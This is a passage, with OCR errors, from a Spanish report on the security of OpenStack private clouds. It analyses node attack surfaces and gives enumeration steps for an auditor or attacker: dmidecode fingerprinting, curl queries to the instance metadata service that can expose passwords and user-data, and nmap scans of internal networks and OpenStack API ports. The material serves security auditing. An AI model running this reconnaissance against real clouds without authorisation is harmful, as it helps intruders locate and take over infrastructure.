Finalmente, otro problema a destacar es que por defecto OpenStack no tiene un maximo
numero de intentos de login para un usuario, con lo que seria posible llevar a cabo ataques
de fuerza bruta para tratar de averiguar las credenciales de un usuario privilegiado en
el sistema. De nuevo, existe la opcién de aplicar este control, pero debe ser configurada
explicitamente por un administrador.

De nuevo, se resumira esta informaciéon en una serie de conclusiones:

= En un entorno OpenStack serd complicado llevar a cabo un ataque basado en
vulnerabilidades del propio producto, ya que esta fuertemente auditado.

= En ciertos entornos si podrén ejecutarse ataques de Man-in-the-middle, ya que por
defecto una instalacion de OpenStack utiliza protocolo HT'TP sin cifrar.

= Por lo general serd posible llevar a cabo ataques de fuerza bruta para averiguar
credenciales de usuario.

= Las vulnerabilidades mas habituales serdn provocadas por errores en la configuracion
de autorizacion de usuarios en la plataforma.
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3.3. Infraestructura de nube

Acerca de la infraestructura, lo primero recordar que existen diferentes tipos de
nodos: nodo de Undercloud, utilizado para desplegar la nube en si, nodos de control que
seran los que gestionen y coordinen los diferentes recursos de ésta (méquinas virtuales,
almacenamiento, etcétera), y nodos de computo, que seran donde residan dichos recursos.

El nodo de Undercloud es el mas sensible de todos, ya que tiene la capacidad de modificar
las caracteristicas de los otros nodos de la nube. Esto implica que un atacante que se haga
con el control de esta maquina tendré la capacidad de crear o destruir nodos de control o
de cémputo, o incluso ser més sutil y modificar las imagenes de despliegue de dichos nodos
para incluir algin malware o algiin mecanismo de persistencia. De esta forma, aunque
fuera detectado y expulsado del sistema, cuando el administrador de la nube instale de
manera legitima un nuevo nodo de computo el atacante podria recuperar su acceso a la nube.

Ademés, en el nodo de Undercloud se almacenan las contrasenas de los diferentes
servicios que se encuentran en ejecucion en dicho nodo, y también las contrasenas de
los servicios de la Ouercloud una vez instalada (salvo que el administrador las elimine
expresamente). También se pueden encontrar claves de acceso de SSH a esta ultima, ya que
este nodo debe poder conectar a la misma para poder aplicar cambios de configuracion.
Esto implica que un compromiso de la Undercloud conlleva ademéas un compromiso total de
la Qvercloud.

En este nodo, los diferentes servicios (Nova, Neutron) se ejecutan directamente sobre el
SO principal con un usuario para cada uno de ellos. Sin embargo, muchos poseen permisos
de sudo, que aunque estén limitados a ciertos comandos pueden forzarse para lograr un
acceso completo como el usuario privilegiado root. Por tanto, la explotacion con éxito de una
vulnerabilidad que permita ejecucion de codigo en alguno de estos servicios, generalmente
derivara en un compromiso total de la maquina.

Por dltimo indicar que el nodo de Undercloud debe ser instalado de forma manual, al
contrario que los deméas que se instalan mediante imagenes predefinidas que proporciona el
fabricante de la distribucion. Esto implica que normalmente este nodo tendré configuraciones
menos seguras que los otros, como acceso SSH por contrasena en lugar de solo clave privada,
o paquetes de software innecesarios que puedan ampliar la superficie de ataque al servidor.

En los nodos de control la configuraciéon es bastante mas segura, ya que éstos son
instalados mediante imagenes que proporciona el fabricante de la distribucién Linux,
generalmente bastante auditadas. Como ejemplos en comparaciéon con el anterior nodo, solo
se permite acceso SSH mediante clave privada, y los tnicos puertos que se encontraran
expuestos al exterior seran los de las APIs de los diferentes servicios de OpenStack.

Aunque también existe el problema de los permisos de sudo de los diferentes usuarios,
los servicios no estan en ejecucion sobre el SO principal sino que se encuentran aislados en
contenedores Docker (esto no ocurria en anteriores versiones). Esto implica que un atacante
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que pueda explotar una vulnerabilidad de un servicio y obtener acceso por consola deberé
ser capaz de escapar del contenedor para lograr el control completo de la maquina. Como
se vera més adelante, esto tampoco serd complicado, ya que algunos de los contenedores
Docker de estos servicios se ejecutan en modo privilegiado.

En caso de obtener acceso privilegiado al nodo de control se habra logrado un control
total de la Owercloud, ya que es posible obtener credenciales de los diferentes servicios y
obtener acceso de administraciéon a la nube. Se trata de un nivel de compromiso bastante
grave, aunque no tanto como el de la Undercloud, ya que el compromiso del nodo de control
no garantiza un acceso al anterior, como si ocurre en el caso inverso.

Finalmente, en cuanto a los nodos de computo, éstos tienen menos contenedores con
servicios en ejecucion (sobre todo de Nowa), aunque en este caso todos se ejecutan en modo
privilegiado, con lo que el compromiso de cualquiera de ellos podra implicar el control total
de la méaquina por parte de un atacante.

Ademas, para permitir la migraciéon de maquinas virtuales entre los nodos de computo
se debe establecer una comunicacion SSH sin contrasena entre los mismos. En versiones
anteriores, este acceso se realizaba directamente de maquina a maquina, con lo que los
movimientos laterales entre nodos de coémputo eran muy sencillos. En esta version la
migracion se realiza a través de contenedores que se encuentran bastante securizados, con
lo que serda mas complicado, aunque si sera posible llevar a cabo ciertas acciones sobre
méquinas virtuales de otros nodos de computo.

A continuacién se presentaran las conclusiones correspondientes a este apartado:

= El compromiso del nodo de Undercloud sera el escenario més grave de todos, ya que
permitira un control total de la infraestructura de nube.

= También sera tipicamente el nodo que tenga una peor seguridad, aunque este se
ubicara tipicamente en puntos de la infraestructura a los que solo pueda acceder un
administrador.

= Kl compromiso de un nodo de control también es grave, ya que permite control sobre
los servicios y recursos de la nube, aunque no sobre su infraestructura.

= El nodo de control podré ser visible por gran parte de usuarios de la nube, aunque
estara bastante més securizado que el anterior.

= Los servicios de los nodos de control y de computo se ejecutan en contenedores, con lo
que el compromiso de uno de ellos no proporcionara acceso directo al SO principal.

= En algunos casos sera relativamente sencillo escapar de estos contenedores y escalar
privilegios en el SO principal.

» El compromiso de un nodo de coémputo no permite control sobre todos los recursos de
nube, aunque si permitiré cierto control sobre las maquinas virtuales alojadas y sobre
la infraestructura.



Seguridad en nubes privadas basadas en OpenStack 26

Con todas estas consideraciones en mente, serd mas sencillo entender los mecanismos
de reconocimiento, ataque y persistencia que se detallaran en los siguientes apartados. Hay
que destacar también que en una nube tipica no existe un solo nodo de control, sino varios
ejecutandose en alta disponibilidad. No se han indicado consideraciones ni se detallaran
escenarios de una nube con miltiples nodos de control, ya que por falta de recursos no es
posible replicar dicho escenario en el laboratorio disponible.
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Capitulo 4. Enumeracién en nubes OpenStack

En un proceso de hacking o en una auditoria de seguridad, la fase inicial y una de las
més importantes es la de enumeracion. De esta forma se puede obtener informaciéon muy
valiosa sobre el entorno, que sera ttil de cara a construir un ataque contra el mismo.

La enumeraciéon es un proceso que puede ser o bien pasivo o bien activo. Tipicamente
el reconocimiento pasivo consistird en obtener informacién de fuentes publicas, pero en el
caso de nubes privadas serd complicado obtener informacién por vias externas, y el proceso
no distard mucho de un reconocimiento pasivo en otro tipo de entorno. Es por esto que
los métodos que se abarcaran en este documento estardn centrados principalmente en el
reconocimiento activo.

En los sucesivos apartados se indicaran varios métodos a emplear desde diferentes puntos
de vista de un atacante/auditor, de la misma forma en que se organizo el apartado anterior:
desde una instancia, como un usuario de nube y con acceso directo a la infraestructura.

4.1. En instancia

Uno de los casos de uso tipicos en un sistema de nube es el del despliegue de aplicaciones
web, que tipicamente estaran expuestos a Internet. Por tanto, una de las posibles vias de
entrada a una nube privada para un atacante que no tenga acceso a la infraestructura seré
a través de estos servicios, por ejemplo explotando una vulnerabilidad que le permita subir
ficheros arbitrarios a un servidor web y ejecutar de este modo comandos a través de una

web shell.

Hecho esto el atacante habra accedido a la instancia, pero no se detendra aqui, sino que
tipicamente comenzaréd lo que se conoce como fase de post-explotacion. Aqui por ejemplo
es donde el atacante tratarda de escalar privilegios en el sistema o crear algiin mecanismo
de persistencia. También darda comienzo a una nueva fase de enumeracion en bisqueda de
nuevos objetivos en la red, ya que generalmente el objetivo del atacante serda comprometer
la mayor parte de servicios posibles.

A continuacion se expondran una serie de métodos de enumeracion en sistemas de
nube, algunos exclusivos de OpenStack y otros que seran aplicables a otras nubes como
Amazon Web Services. Se obviaréan en la medida de lo posible otros mecanismos generales
de enumeracion (busqueda de credenciales, escaneo de puertos hacia otros servidores...),
salvo que el método en cuestion tenga particularidades en un entorno de nube.
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4.1.1. Identificaciéon de la plataforma

En primer lugar, si un atacante ha aterrizado en una maquina virtual, deseara conocer
en qué entorno se encuentra para conocer sus caracteristicas, capacidades y debilidades.
Desde una instancia de OpenStack, al menos en la distribucion RDO que se esta analizando,
es posible conocer la plataforma de virtualizacion, distribucion e incluso version de la misma.

Esto es posible por ejemplo con la herramienta dmidecode, que bajo los elementos system,
chassis y processor proporcionara la informacion indicada:

root@demo:~# dmidecode -t system -t processor | grep -e “System -e “Processor -e Manufacturer -e Product -e Version
System Information

Manufacturer: RDO

Product Name: OpenStack Compute

Version: 17.0.14-0.20200526005120.bea91b8.el7
Processor Infermation

Manufacturer: Red Hat

Version: RHEL 7.6.0 PC (i440FX + PIIX, 1996)

Figura 4: Obtenciéon de version de plataforma OpenStack con dmidecode

En caso que esta herramienta no esté disponible, o no se disponga de un usuario
privilegiado para ejecutarla, también se puede obtener la misma informacion bajo el directorio

/sys/class/dmi/id:

3 $ cat chassis version sys vendor product name product version
RHEL 7.6.0 PC (i440FX + PIIX, 1996)
RDO

OpenStack Compute
17.0.14-0.20200526005120.bea%91b8.el?

Figura 5: Obtencién de version de plataforma OpenStack a través del pseudo-filesystem
/sys

La subversion de RHEL y de OpenStack no coincidira exactamente con la del hipervisor,
pero serd bastante similar. Por ejemplo en la instancia se indica que la version de RHEL
es 7.6, cuando realmente es un Centos 7.7. En cuanto a la version de Nova, se trata de la
version 17.0.14-0 efectivamente, aunque la fecha de lanzamiento posterior varia ligeramente.

En base a la version indicada, se puede conocer la version de OpenStack asociada
(Queens en este caso). Conociendo la distribuciéon y la version, es posible buscar luego
vulnerabilidades conocidas de la misma, por ejemplo consultando el portal de informacion
de parches y vulnerabilidades de Red Hat [1§].

4.1.2. Obtencién de metadatos

En un sistema de nube, la creacién de una nueva méquina virtual se realiza de forma
totalmente automatizada. Esto se realiza mediante una réplica de una imagen con un SO
ya instalado, a la que tipicamente habré que realizar ciertas adecuaciones, como definir la



29 Seguridad en nubes privadas basadas en OpenStack

configuracion de red, modificar el hostname de la maquina, o introducir las claves piblicas
permitidas para conectar a la instancia (hay que recordar que las imagenes generalmente no
tendran permitido por defecto el acceso SSH mediante contrasena).

Para llevar a cabo este proceso, el sistema operativo tipicamente obtiene una IP inicial
mediante DHCP y después invoca un proceso conocido como cloud-init que sera el que
se encargue del resto de configuracién. Por su parte, cloud-init obtiene la configuracion
especifica de la instancia a través de un servicio de metadatos , generalmente realizando
una peticion HTTP a la IP 169.254.169.254. Esto es una convenciéon que aplica a casi todos
los sistemas de nube, incluyendo OpenStack.

Realizando una peticion HTTP, mediante curl por ejemplo, a la direccion
hitp://169.254.169.254 se obtiene un listado de versiones del servicio de metadatos.
Anadiendo a la ruta alguna de estas versiones, se obtendra un elemento meta-data, en el que
a su vez se encontraran diferentes elementos con informacién. Seré recomendable siempre
comprobar la version latest, ya que generalmente es la que mas elementos contendra.

$ curl -w "\n" http:/169.254.169.254

2007-03-01
2007-08-29
2007-10-10
2007-12-15
2008-02-01
2008-09-01
2009-04-04
latest

$ curl -w "\n" http:/169.254.169.254/latest

meta-data/

$ curl -w "\n" http:/169.254.169.254/latest/meta-data
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
hostname
instance-action
instance-id
instance-type
local-hostname
local-ipv4d
placement/
public-hostname
public-ipvd
public-keys/
reservation-id
security-groups

Figura 6: Ejemplos de peticiones al servicio de metadatos

El servicio de metadatos de OpenStack es compatible con el de EC2 de Amazon Web
Services y proporciona los datos en el mismo formato, pero también hay otra ruta disponibles
bajo http://169.254.169.254/openstack que proporciona un formato de metadatos propio.
Habra informaciéon que esté visible en ambos formatos, pero serd recomendable revisar
ambos puntos para lograr la mayor cantidad de informaciéon posible.
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En el siguiente ejemplo puede observarse las diferencias entre ambos formatos. En formato
compatible con EC2 se proporcionaré la informacion en texto plano, y en formato OpenStack
en formato JSON:

:~$ curl -w "\n" http:/169.254.169.254/latest/meta-data/public-keys/@/openssh-key
ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABAQDWMALjXdt151eZql2TGnAXxgqbviKt5FX+0zT+XKxsHBgrgqU5XB2atLBTh43XadwubXd1DZ421
EUDjdAZcvWOLMQO5kGgXokh/A9rHUNHmZwio8CsCPuJ10RENEb1xa0gl6bQ3unxCCy4q433g51inWvL9nQtUtUd8VBTc6E/EPgyGY2PivRxoaXXk/
BPVOy50+tVrOtBbphoZs]jtsOPeLuSATQDFI4X/HuriPXvqt13/7uiNMHgdjz19p9gHrQSuYx4dmWwWp6vzDVyekIAWpnIt38Ge9E9Uwt2vFOYq265G
TLL6IFZw/82uD+kayXT+03Kkm/XzHC/ZdZx2qgadEj Generated-by-Nova

$ curl -s http:/169.254.169.254/openstack/latest/meta_data.json | jg '.public_keys'

{

Figura 7: Comparativa de formatos de metadatos

Ademas de informacién que proporciona el sistema de nube, el propietario de la instancia
puede anadir sus propios metadatos. Esto puede ser 1til para proporcionar ciertas variables
a las aplicaciones que vayan a ejecutarse en dicha instancia, y facilitar la instalacion y
configuracion automatizada de las mismas. En ocasiones estos metadatos pueden contener
informacion sensible, como por ejemplo contrasenas, que podrian caer en manos de un
atacante que disponga de acceso a la instancia. Es por ello que, en un proceso de auditoria,
es de suma importancia comprobar los metadatos pertenecientes a la instancia:

t~% curl -s http:/169.254.169.254/0penstack/latest/meta_data.json | jg

Figura 8: Contrasena en metadatos de instancia

Ademés de la meta-data, el sistema de nube puede proporcionar a la instancia un script
con una serie de acciones para llevar a cabo tras su creacion. De esta forma, el usuario puede
introducir 6rdenes para configurar caracteristicas adicionales del sistema operativo, instalar
paqueteria adicional, etcétera. Esto es utilizado generalmente para instalar y configurar el
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servicio especifico que vaya a dar finalmente la instancia (como un servidor web o un servidor
de base de datos), y es lo que se conoce como user-data.

=% curl -w "\n" http://169.254.169.254/latest/user-data
#!/bin/bash

apt update && apt install -y apache2
systemctl enable apache2
systemctl start apache2

Figura 9: Ejemplo de user-data para la instalaciéon automaética de un servidor web Apache

Es importante revisar también esta informaciéon, ya que puede contener igualmente
datos sensibles como contrasenas. También puede ser relevante revisar los logs del servicio
cloud-init, disponibles bajo la ruta /var/log/cloud-init*.

Aunque se recomienda revisar todos los meta-datos disponibles, en la siguiente lista se
proporciona un resumen con aquellos elementos que puedan tener informacién relevante
de cara a una auditoria de seguridad. Las rutas indicadas son relativas a la URL
hitp://169.254.169.254

» /latest/meta-data/placement/availability-zone: zona de disponibilidad donde se
encuentra la instancia.

» /latest/meta-data/public-ipvs: 1P flotante (publica) asociada a la instancia.
» /latest/meta-data/security-groups: grupos de seguridad de red asignados.

» Jopenstack/latest/meta_ data.json: compilacion de metadatos varios, incluyendo
metadatos de usuario, e ids de instancia y tenant en OpenStack (valores wuid y
project_id).

» Jopenstack/latest/network_ data.json: datos de red de la instancia, incluyendo ids de
red e interfaz en OpenStack (network id, vif id), driver de red y nombre de la interfaz
asociada en el hipervisor.

/latest /user-data o /openstack/latest/user data: user-data de la instancia.

4.1.3. Reconocimiento de la red

Como se ha indicado anteriormente, las redes que utilizan las instancias de OpenStack
podran ser redes virtuales, en las que hay mecanismos de proteccion (como los grupos
de seguridad) no existentes en otras redes planas de capa 2. Aunque por lo general las
instancias de una misma subred de capa 2 tendran permitido todo el trafico entre ellas, es
posible que ciertas comunicaciones estén bloqueadas, como por ejemplo el trafico ICMP.
Ademas, podran existir muchos mas segmentos de red, entre los que se podra también
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bloquear el trafico, también mediante grupos de seguridad o usando firewalls virtuales.

Esto puede dificultar la identificacién de otras redes y comunicaciéon con las mismas, o
incluso en la propia red. Para poder analizar el entorno en el que se encuentra una instancia, se
realizaran primero los pasos tipicos de identificacién de red de un proceso de post-explotacion
(comprobacion de IP/subred, rutas de la maquina...). Hay que indicar que aunque no esté
permitido por ejemplo el ICMP en una red el ARP generalmente no se podra bloquear, con
lo que un escaneo tipico mediante nmap deberia mostrar hosts que puedan parecer ocultos:

root@demo:~# ip address show dev eth®
2: eth@: <BROADCAST,MULTICAST,UP,LOWER _UP> mtu 1450 qdisc pfifo_fast state UP group default glen 1000
link/ether fa:16:3e:52:19:91 brd ff:ff:ff:ff:ff:ff
inet 10.0.0.180/24 brd 10.0.0.255 scope global dynamic eth@
valid_Llft 80209sec preferred_Llft 80209sec
inetb fe80::fB816:3eff:fe52:1991/64 scope link
valid_Llft forever preferred_Llft forever
root@demo: ~#
root@demo:~# nmap -T5 -sn 10.0.0.180/24
Starting Nmap 7.70 ( https://nmap.org ) at 2020-10-23 16:26 UTC
Nmap scan report for 10.0.0.1
Host is up (-0.12s latency).
MAC Address: FA:16:3E:03:FF:1F (Unknown)
Nmap scan report for 10.8.0.2
Host is up (-0.094s latency).
MAC Address: FA:16:3F:2F:33:31 (Unknown)
Nmap scan report for 10.0.0.150
Host is up (0.0032s iatencyj.
MAC Address: FA:16:3E:64:B9:5F (Unknown)
Nmap scan report for 10.0.0.180
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 4.13 seconds
root@demo: ~#
root@demo:~# ping 10.0.0.150
PING 10.0.0.150 (10.0.0.150) 56(84) bytes of data.

--- 10.0.0.150 ping statistics ---
56 packets transmitted, ® received, 100% packet loss, time 376ms

Figura 10: Escaneo de segmento de red local con nmap

En la figura puede observarse que se ha identificado un host en la direccion 1P 10.0.0.150,
que posteriormente se comprueba que no responde a trafico ICMP. Esto es debido a que,
aunque la opcion “-sn” de nmap se conozca como ping scan, para realizar descubrimiento en
red local utiliza protocolo ARP. Ademas se observan dos IPs més en la red (las que finalizan
en .1y .2), que corresponderan al router y al servidor DHCP de la red virtual.

En cuanto al servidor de DHCP, éste también proporciona un servicio de DNS que
contendré registros para los diferentes hosts de su correspondiente red. Aunque las instancias
generalmente estaran configuradas para utilizar un servidor DNS diferente méas genérico
(los servidores principales de la empresa, o servidores DNS publicos), es posible realizar
peticiones a éste para tratar de averiguar los diferentes hosts registrados en la red, como
forma de descubrimiento adicional a la de nmap.

Acerca de la comunicacion con otras redes se diferenciaran dos casos: o bien con redes
virtuales dentro de OpenStack, o bien contra redes externas a la plataforma. En el primer
caso, lo tipico sera encontrarse con una arquitectura de aplicacion de dos o tres capas,
cada una en una red diferente, entre las que se permitirdn tnicamente ciertos flujos de
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comunicacion (de front-end a back-end, de back-end a base de datos...). En estos casos lo
normal seré que todas las redes compartan un mismo router que redirija el trafico entre ellas.

En este esquema, es posible que el trafico ICMP entre diferentes redes esté filtrado, y no
se tendra comunicacion por ARP con los servidores de otras redes. Descubrir un host con
un puerto abierto puede ser una tarea bastante compleja si las redes no tienen direcciones
consecutivas (en una red 10.0.0.0/8 puede haber unos 16 millones de hosts), con lo que lo
adecuado serd tratar de identificar primero contra qué redes existe conectividad desde la
instancia en la que se encuentre el auditor/atacante.

Lo habitual en estas redes virtuales (igual que en redes fisicas), es que el router tome
siempre la direccion .1 de la red, con lo que si el router se encuentra en las redes 10.0.0.0/24 y
10.0.1.0/24, tomara tipicamente las direcciones 10.0.0.1 y 10.0.1.1. Ademés el router responde
a ping desde todas estas interfaces, con lo que si se escanearan solo las direcciones .1 del rango
10.0.0.0/8 se reducirfa el niimero de posibilidades de descubrimiento a 65536 direcciones. Una
vez conocidas las redes contra las que se tiene conectividad, la busqueda de puertos abiertos
bajara a 256 hosts por red (en caso que sean todas /24, claro).

root@demo:~# for i in {0..255} ; do for j in {©..255} ; do echo 10.%i.%j.1 >> targets; done; done
root@demo:~# nmap -n --ttl=1 -T5 --max-parallelism 254 -sn -PE -ilL targets

Starting Nmap 7.70 ( https://nmap.org ) at 2020-10-24 14:44 UTC

Nmap scan report for 10.0.0.1

Host is up (0.019s latency).

MAC Address: FA:16:3E:03:FF:1F (Unknown)

Nmap scan report for 10.0.0.1

Host is up (-0.19s latency).

MAC Address: FA:16:3E:03:FF:1F (Unknown)
Nmap scan report for 10.1.0.1

Host is up (0.034s latency).

Figura 11: Escaneo de interfaces adicionales de routers

En cuanto a la comunicacion con redes externas, es recomendable indicar primero
como se produce la comunicaciéon entre el exterior y una instancia de OpenStack. Para
que esto se lleve a cabo, las instancias que deban comunicar con el exterior tendran que
estar conectadas a un router al que se le haya asignado un gateway externo, que consistira
en una IP dentro de la red externa de la plataforma. El router tendrd una pata en
dicha red (tipicamente una VLAN estéandar) y otra en diferentes redes virtuales VXLAN,
y se encargaré de realizar NAT entre las instancias que tenga por debajo y las IPs del exterior.

Para que una maquina del exterior pueda comunicarse directamente con una instancia
de OpenStack, ésta tendra que tener asociada una IP flotante, que sera otra IP diferente a la
que haga de gateway dentro de la misma red externa. Dicha IP se asignara también al router,
solo que en este caso el router realizara NAT de la misma hacia/desde una tnica instancia.
Esto permitira no solo el trafico de vuelta de una comunicacion ya existente iniciada por una
instancia, sino también comunicaciones iniciadas desde fuera.
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MAT (solo un sentido y trafico de vuelta)
192.168.110.20 =- 10.01.7

P gateway VM 1 VM 2
-’I'.- - Red externa f:{lj@ = | Read virtual = ‘ T
102 168.110.0/24 ! 10.0.1.0/24

Router externo Router virtual

IP flotante W2

NAT (bidireccional)
192.168.110.120 <> 10.0.1.11

Figura 12: NAT con router virtual

La forma de conocer la red externa del gateway e IPs flotantes es muy sencilla, ya que
tan solo hay que realizar un traceroute desde la instancia a una IP del exterior. En la salida
se observard por norma general que el segundo salto de la red sera el router principal de
dicha red. Otra forma de averiguar esta red, en caso que la instancia tenga asociada una
IP flotante, sera consultar los metadatos de la instancia, como se indico en el apartado de
obtenciéon de metadatos.

root@demo:~# traceroute -n 8.8.8.8
traceroute to 8.8.8.8 (8.8.8.8), 30 hops max, 60 byte packets

192.168.110.1 2.338 ms 2.337 ms 2.326 ms

T

2

3

4 15.811 ms 15.776 ms 15.780 ms
5 .645 ms 17.411 ms 20.547 ms
7]

7

8

18.003 ms 15.156 ms 15.703 ms

.067 ms 9.188 ms 48.887 ms

7.609 ms 7.310 ms 7.939 ms

15.896 ms * *
10 8.8.8.8 7.734 ms * 42.108 ms
root@demo : ~#
root@demo:~# nmap --open -sV -n -p 56000 192.168.110.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2020-18-24 15:34 UTC
Nmap scan report for 192.168.110.23
Host is up (0.0029s latency).

PORT STATE SERVICE VERSION
5000/tcp open http Apache httpd

Figura 13: Identificacion de red externa y escaneo de puerto 5000 (Keystone) para localizar
nodo de control de OpenStack
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Hay que indicar que esto sera aplicable en los entornos de nube més sencillos, ya que en
escenarios con otros drivers de SDN o con firewalls de terceros entre diferentes redes puede
ser mas complicado conocer la IP de salida que esté usando realmente la instancia en cuestion.

Si se ha podido conocer la IP de salida de la instancia, sera posible enumerar luego los
diferentes servicios que se encuentren en dicha red. Esto serd muy interesante ya que, por
simplicidad, en algunos casos la red externa para instancias estara compartida con la red
de APIs publicas de la plataforma, y se podré por tanto expandir el ataque de la instancia
hacia la propia plataforma de control de la nube, pudiendo asi llevar a cabo acciones de
enumeracion o ataque que se explicaréan en los siguientes apartados.

También se podra realizar una enumeracion contra otras redes internas de la empresa,
pero este procedimiento no serd diferente al que se realizaria desde cualquier tipo de
méaquina, con lo que carece de interés para este documento (mentar como excepcion el caso
que se esté tratando de localizar los servicios de API publicos de OpenStack).

4.2. Con conectividad a la plataforma

En este apartado se discutiran diferentes métodos de enumeracién desde el punto de
vista de un usuario que tiene conectividad directa con la plataforma de OpenStack. Este
podria ser el caso de un actor malicioso dentro de la empresa (o insider), un atacante que
ha podido acceder a la red interna de la misma mediante una red Wifi por ejemplo o, como
se ha observado en el apartado anterior, un atacante que disponga de conectividad a estos
elementos desde una instancia que haya sido comprometida.

4.2.1. Identificacion de servicios

El primer paso a realizar como atacante o como auditor debera ser un reconocimiento
de los diferentes elementos que haya en la red objetivo. Esto puede realizarse de la misma
forma que en un entorno tradicional, a través de herramientas como nmap, que permitird
identificar los puertos abiertos en las IPs de esta red, y asi saber qué servicios de OpenStack
existen en la nube.

En la siguiente captura pueden observarse unos ejemplos de resultados de escaneo de red
mediante nmap:
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Nmap scan report for 192.168.110.10
Host is up (0.012s latency).
Not shown: 65364 filtered ports, 169 closed ports

PORT
22/tcp

open

8088/tcp open

STATE SERVICE VERSION
ssh OpenSSH 7.4 (protocol 2.0)
http Apache httpd

Nmap scan report for 192.168.110.23
Host is up (0.0045s latency).
Not shown: 65498 filtered ports, 25 closed ports

PORT
22/tcp
80/tcp
5000/tcp
6080/tcp
8000/tcp
8004/tcp
8774/tcp
8776/tcp
8778/tcp
9292/tcp
9696/tcp

STATE
open
open
open
open
open
open
open
open
open
open
open

25672/tcp open

Service Info:

SERVICE VERSION

ssh OpenSSH 7.4 (protocol 2.0)

http Apache httpd

http Apache httpd

caldav Radicale calendar and contacts server (Python BaseHTTPServer)
http Apache httpd

http Apache httpd

http Apache httpd

http Apache httpd

http Apache httpd

http-proxy HAProxy http proxy 1.3.1 or later
http-proxy HAProxy http proxy 1.3.1 or later
unknown

Device: load balancer

Nmap scan report for 192.168.110.26
Host is up (0.13s latency).
Not shown: 64444 filtered ports, 1089 closed ports

PORT
22/tcp

open

2022/tcp open

STATE SERVICE VERSION
ssh OpenSSH 7.4 (protocol 2.0)
ssh OpenSSH 7.4 (protocol 2.0)

Figura 14: Resultado de escaneo de puertos con nmap

En la captura se pueden ver 4 ejemplos de IPs que corresponden a diferentes nodos de la
plataforma. Ignorando el puerto 22 (SSH) presente en todas maquinas, se podrian identificar
los siguientes roles:

» Nodo de undercloud (192.168.110.10): Se observa abierto el puerto 8088 con un servidor
web, que es desde donde el servidor de aprovisionamiento sirve imagenes de PXE para
el aprovisionamiento del resto de nodos en esta release de OpenStack.

= Nodo de control (192.168.110.23): Se observan multiples puertos abiertos, entre los que
se encuentran los puertos tipicos de APIs de OpenStack, como el 5000 (Keystone) o
8774 (Nova). Esto identificaria a este servidor como un nodo de control.

= Nodo de computo (192.168.110.26): Se puede identificar como nodo de computo por
el SSH adicional en el puerto 2022, utilizado por el servicio de migraciéon de maquinas
virtuales entre diferentes nodos de coémputo.

Para identificar los diferentes servicios que tiene habilitados un nodo de control puede
observarse la tabla con los puertos usados por defecto de la documentacién oficial de

OpenStack [20]. Si por ejemplo se observara el puerto 8777 abierto, consultando dicha tabla

podria suponerse que en la nube se encuentra habilitado el servicio de telemetria Ceilometer.
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Hay que indicar también que el nodo de undercloud respondera a un mayor nimero de
servicios si se conecta a través de la red de provision (donde hace las veces de gateway) en
lugar de la red de servicio. El acceso a esta red no siempre sera posible, ya que generalmente
se tratard de una red aislada a la que solo tengan conectividad los nodos de la nube. La
identificacion de servicios podra realizarse por tanto desde uno de estos nodos, o también
desde el exterior en caso que se permita el acceso no restringido a dicha red por error.

Nmap scan report for 192.168.100.1
Host is up (0.0020s latency).
STATE SERVICE VERSION
open ssh OpenSSH 7.4 (protocol 2.0)
open rsync (protocol version 31)
open http Apache httpd
open http Apache httpd
open http Werkzeug httpd 0.9.1 (Python 2.7.5)
open X117
open X11:17
open X11:27?
open http Apache httpd
open http Apache httpd
open http Apache httpd
open http-proxy?
open http Apache httpd
open http Apache httpd
open unknown
open http Apache httpd
open unknown
open http Apache httpd
open unknown
open cslistener?
open unknown
open unknown
http Apache httpd

Figura 15: Escaneo de puertos del nodo de undercloud en red de provision

Este nodo podria identificarse por ejemplo a través de los puertos 5050 y 6385, usados
por Ironic para el despliegue sobre bare-metal.

4.2.2. Identificaciéon de version de OpenStack

Teniendo acceso a los puertos publicos de API, es posible conocer la version de OpenStack
del entorno. Para ello se puede realizar una peticion HTTP a la API de Nova (puerto 8774),
comprobar la tltima version de API soportada y después consultar a qué release corresponde
dicha version de API en la documentacion de OpenStack [21]:
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# curl -s http://192.168.110.23:8774 | jq '.versions[] | select(.status == "CURRENT")
{

Figura 16: Comprobacién de version de API de Nova

En el caso de la imagen se puede observar que la version de API es la 2.60, que es la que
aparece en la documentacion como la version méxima de API de la release Queens.

Es posible llevar a cabo este mismo proceso de identificacion de version con otras
APIs pero Nova es el candidato ideal, ya que suele tener mas cambio de versiones y es
el elemento mas presente en estas nubes. En caso que la version de la API de Nova sea
la misma en dos releases diferentes, como es el caso de las versiones Ussuri y Victoria,
si seria recomendable consultar otra API como la de Cinder para identificar la version exacta.

4.3. Usuario de la plataforma

En este escenario se describirdn procedimientos de enumeracion para el caso en que se
dispongan de credenciales de usuario de la nube. De nuevo, esto podria ser causado por
un insider, o por otro agente que haya podido hacerse con unas credenciales vélidas del
entorno.

4.3.1. Informacion de recursos

Lo primero y mas sencillo de obtener serén los diferentes recursos de nube a los que tenga
acceso el usuario al que pertenezcan las credenciales: instancias, imégenes, voliimenes, redes,
etcétera. En el caso de disponer de acceso a la interfaz grafica Horizon, tan solo habra que
hacer login con las credenciales obtenidas y acceder a los diferentes apartados para visualizar
los recursos:
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TIopenstack. @demo~

Project v
Project / Compute / Instances
AP Access
— Instances
Overview
Images  Displaying 4 items
Key Pairs O Instance Name Image Name 1P Address Flavor Key Pair Status Availability Zone Task Power State
Volumes » (AL S
debian2 debian-10 Floating IPs: mitiny demo Shutoif nova None Shut Down
Network > 192.168.110.228
Orchestration > diros 10.1.0.48 mitiny demo Shutoft nova None Shut Down
Identity >
cirros 10.1.0.252 m tiny dema Shutoft nova None Shut Down
Workfiow »
100.0.180
demo debian-10 Floating IPs: .ty demo Shutoff nova None Shut Down
192.168.110.218

Displaying 4 items

Figura 17: Listado de instancias en Horizon

En caso de tener que obtener esta informacion a través de consola, lo mejor seréd utilizar
el cliente openstack para linea de comando. Para poder utilizar el mismo, lo més cémodo es
descargar el fichero de credenciales a través de Horizon, que contendré las diferentes variables
de entorno necesarias para el correcto funcionamiento del cliente. Después se cargaran dichas
variables con el comando source y se invocaré el cliente openstack:

& demoil =
Opening demo-openrc.sh X
£ Settings
You have chosen to open: @ Help
demo-openrc.sh & OpenStack RC File v2
which is: plain text document (1.9 KB) & OpenStack RC File v3
from: http://192.168.110.23
Themes
|d What should Firefox do with this file? [ 1
|
Openwith  Text Editor (default) v Material
o Oiave File ® Sign Out
G Start Instance | ~

Figura 18: Descarga del fichero de credenciales

